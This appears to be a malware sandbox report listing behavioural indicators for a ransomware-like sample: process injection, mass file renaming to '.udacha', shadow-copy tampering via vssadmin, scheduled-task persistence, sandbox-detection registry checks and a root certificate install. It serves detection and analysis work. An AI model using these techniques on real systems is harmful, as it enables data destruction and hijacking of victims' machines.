7FBD.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exe

pid	Process
2616	7FBD.exe
2616	7FBD.exe
2616	7FBD.exe
2616	7FBD.exe
2616	7FBD.exe
2616	7FBD.exe
2616	7FBD.exe
2616	7FBD.exe
2616	7FBD.exe
2616	7FBD.exe
2616	7FBD.exe
2616	7FBD.exe
2616	7FBD.exe
2616	7FBD.exe
2616	7FBD.exe
4440	Moneylogs1.exe
4440	Moneylogs1.exe
4636	Moneylogs1.exe
4636	Moneylogs1.exe
4788	Moneylogs1.exe
4788	Moneylogs1.exe
4840	Moneylogs1.exe
4840	Moneylogs1.exe
4872	Moneylogs1.exe
4872	Moneylogs1.exe
4916	Moneylogs1.exe
4916	Moneylogs1.exe
4956	Moneylogs1.exe
4956	Moneylogs1.exe
4984	Moneylogs1.exe
4984	Moneylogs1.exe
5096	Moneylogs1.exe
5096	Moneylogs1.exe
4232	Moneylogs1.exe
4232	Moneylogs1.exe
4328	Moneylogs1.exe
4328	Moneylogs1.exe
4156	Moneylogs1.exe
4156	Moneylogs1.exe
4336	Moneylogs1.exe
4336	Moneylogs1.exe
4440	Moneylogs1.exe
4440	Moneylogs1.exe
4524	Moneylogs1.exe
4524	Moneylogs1.exe
4592	Moneylogs1.exe
4592	Moneylogs1.exe
4612	Moneylogs1.exe
4612	Moneylogs1.exe
3568	Moneylogs1.exe
3568	Moneylogs1.exe
3252	Moneylogs1.exe
3252	Moneylogs1.exe
3828	Moneylogs1.exe
3828	Moneylogs1.exe
4652	Moneylogs1.exe
4652	Moneylogs1.exe
4712	Moneylogs1.exe
4712	Moneylogs1.exe
4780	Moneylogs1.exe
4780	Moneylogs1.exe
4848	Moneylogs1.exe
4848	Moneylogs1.exe
4552	Moneylogs1.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe7A7C.exe7FBD.exe857B.exe

description	pid	Process	procid_target
PID 3176 set thread context of 1816	3176	b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe	69
PID 760 set thread context of 1804	760	7A7C.exe	120
PID 2616 set thread context of 2180	2616	7FBD.exe	122
PID 1912 set thread context of 936	1912	857B.exe	125

Drops file in Program Files directory 55 IoCs

Processes:

73D4.exeDriverRealtekHDmaster.exe

description	ioc	Process
File opened for modification	C:\Program Files\Mozilla Firefox\removed-files.inprocess	73D4.exe
File created	C:\Program Files\Common Files\microsoft shared\ClickToRun\StreamServer\e6c9b481da804f07baff8eff543b0a1441069b5d	DriverRealtekHDmaster.exe
File opened for modification	C:\Program Files\Mozilla Firefox\precomplete.udacha	73D4.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\master_preferences.inprocess	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000050\FA000000050.inprocess	73D4.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\StreamServer\OfficeClickToRun.exe	DriverRealtekHDmaster.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f14\FA000000014	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f33\FA000000033.inprocess	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000006\FA000000006.udacha	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000009\FA000000009.udacha	73D4.exe
File created	C:\Program Files\Common Files\microsoft shared\ClickToRun\StreamServer\OfficeClickToRun.exe	DriverRealtekHDmaster.exe
File opened for modification	C:\Program Files\Mozilla Firefox\precomplete	73D4.exe
File opened for modification	C:\Program Files\Mozilla Firefox\precomplete.inprocess	73D4.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\StreamServer\e6c9b481da804f07baff8eff543b0a1441069b5d	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f2\FA000000002.inprocess	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f3\FA000000003.udacha	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f4\FA000000005	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f4\FA000000005.udacha	73D4.exe
File opened for modification	C:\Program Files\Mozilla Firefox\removed-files.udacha	73D4.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\master_preferences	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f14\FA000000014.inprocess	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f3\FA000000003	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f33\FA000000033	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000008\FA000000008.udacha	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f7\FA000000007	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f4\FA000000005.inprocess	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000011\FA000000011.inprocess	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000009\FA000000009.inprocess	73D4.exe
File opened for modification	C:\Program Files\Mozilla Firefox\removed-files	73D4.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\StreamServer\e6c9b481da804f07baff8eff543b0a1441069b5d.inprocess	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f3\FA000000003.inprocess	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000006\FA000000006.inprocess	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f2\FA000000002.udacha	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f7\FA000000007.udacha	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000008\FA000000008.inprocess	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f2\FA000000002	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\ZeroByteFile	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f7\FA000000007.inprocess	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000011\FA000000011.udacha	73D4.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\StreamServer\e6c9b481da804f07baff8eff543b0a1441069b5d.udacha	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f33\FA000000033.udacha	73D4.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f14\FA000000014.udacha	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000006\FA000000006	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_w1\WA104381125.udacha	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_w1\WA104381125	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000008\FA000000008	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_w1\WA104381125.inprocess	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000009\FA000000009	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\ZeroByteFile.inprocess	73D4.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\master_preferences.udacha	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000011\FA000000011	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000050\FA000000050	73D4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000050\FA000000050.udacha	73D4.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V	73D4.exe

Drops file in Windows directory 64 IoCs

Processes:

73D4.exewbadmin.exewbadmin.exeDriverRealtekHDmaster.exe

description	ioc	Process
File opened for modification	C:\Windows\Installer\SourceHash{90160000-008C-0409-1000-0000000FF1CE}.inprocess	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{AC76BA86-7AD7-1033-7B44-AC0F074E4100}	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{AC76BA86-7AD7-1033-7B44-AC0F074E4100}.udacha	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}.udacha	73D4.exe
File opened for modification	C:\Windows\appcompat\Programs\ebf1f9fa8afd6d1932bd65bc4cc3af89a4c8e228.udacha	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{12578975-C765-4BDF-8DDC-3284BC0E855F}.udacha	73D4.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ef8525dacdbd990854d9abd6532181fa\cbshandler\state	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{90160000-008C-0000-1000-0000000FF1CE}.inprocess	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}.udacha	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{CB0836EC-B072-368D-82B2-D3470BF95707}.udacha	73D4.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Installer\SourceHash{26A24AE4-039D-4CA4-87B4-2F86418066F0}.inprocess	73D4.exe
File opened for modification	C:\Windows\Boot\PCAT\bootnxt	73D4.exe
File opened for modification	C:\Windows\Boot\DVD\EFI\BCD	73D4.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_3005bce9-28f5-4e09-8c50-90723dad99bd	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{12578975-C765-4BDF-8DDC-3284BC0E855F}	73D4.exe
File opened for modification	C:\Windows\Resources\Maps\mwconfig_client	73D4.exe
File opened for modification	C:\Windows\appcompat\Programs\ebf1f9fa8afd6d1932bd65bc4cc3af89a4c8e228	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{26A24AE4-039D-4CA4-87B4-2F86418066F0}	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{37B8F9C7-03FB-3253-8781-2517C99D7C00}	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{90160000-007E-0000-1000-0000000FF1CE}	73D4.exe
File opened for modification	C:\Windows\Boot\DVD\PCAT\BCD	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.inprocess	73D4.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Panther\setupinfo.udacha	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}.udacha	73D4.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ef8525dacdbd990854d9abd6532181fa\cbshandler\state.inprocess	73D4.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D.udacha	73D4.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Installer\SourceHash{90160000-007E-0000-1000-0000000FF1CE}.udacha	73D4.exe
File opened for modification	C:\Windows\appcompat\Programs\ebf1f9fa8afd6d1932bd65bc4cc3af89a4c8e228.inprocess	73D4.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_3005bce9-28f5-4e09-8c50-90723dad99bd.udacha	73D4.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Installer\SourceHash{4A03706F-666A-4037-7777-5F2748764D10}.udacha	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{90160000-008C-0409-1000-0000000FF1CE}	73D4.exe
File opened for modification	C:\Windows\Panther\setupinfo.inprocess	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{12578975-C765-4BDF-8DDC-3284BC0E855F}.inprocess	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.udacha	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{64A3A4F4-B792-11D6-A78A-00B0D0180660}.udacha	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}.inprocess	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}	73D4.exe
File created	C:\Windows\appcompat\Programs\cmd.exe	DriverRealtekHDmaster.exe
File opened for modification	C:\Windows\Installer\SourceHash{90160000-007E-0000-1000-0000000FF1CE}.inprocess	73D4.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}.inprocess	73D4.exe
File opened for modification	C:\Windows\Panther\setupinfo	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{AC76BA86-7AD7-1033-7B44-AC0F074E4100}.inprocess	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}.inprocess	73D4.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_3005bce9-28f5-4e09-8c50-90723dad99bd.inprocess	73D4.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Installer\SourceHash{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}.inprocess	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{64A3A4F4-B792-11D6-A78A-00B0D0180660}.inprocess	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{90160000-008C-0000-1000-0000000FF1CE}	73D4.exe
File opened for modification	C:\Windows\Boot\PCAT\bootmgr	73D4.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D.inprocess	73D4.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Installer\SourceHash{1D8E6291-B0D5-35EC-8441-6616F567A0F7}	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{26A24AE4-039D-4CA4-87B4-2F86418066F0}.udacha	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{37B8F9C7-03FB-3253-8781-2517C99D7C00}.inprocess	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{90160000-008C-0409-1000-0000000FF1CE}.udacha	73D4.exe
File opened for modification	C:\Windows\Installer\SourceHash{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}.udacha	73D4.exe
File created	C:\Windows\appcompat\Programs\ebf1f9fa8afd6d1932bd65bc4cc3af89a4c8e228	DriverRealtekHDmaster.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
2168	2616	WerFault.exe	80

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe

Creates scheduled task(s) 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	Process
3424	schtasks.exe
3348	schtasks.exe
3408	schtasks.exe
1588	schtasks.exe
1940	schtasks.exe
836	schtasks.exe
436	schtasks.exe
1452	schtasks.exe

Interacts with shadow copies 2 TTPs 13 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	Process
2604	vssadmin.exe
4004	vssadmin.exe
2068	vssadmin.exe
3852	vssadmin.exe
2360	vssadmin.exe
2888	vssadmin.exe
3496	vssadmin.exe
3828	vssadmin.exe
2604	vssadmin.exe
4060	vssadmin.exe
3828	vssadmin.exe
1336	vssadmin.exe
3248	vssadmin.exe

Modifies data under HKEY_USERS 52 IoCs

Processes:

UpSys.exepowershell.exe

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	UpSys.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	UpSys.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Modifies registry class 2 IoCs

Processes:

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

Zena.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Zena.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Zena.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe

pid	Process
1816	b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe
1816	b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
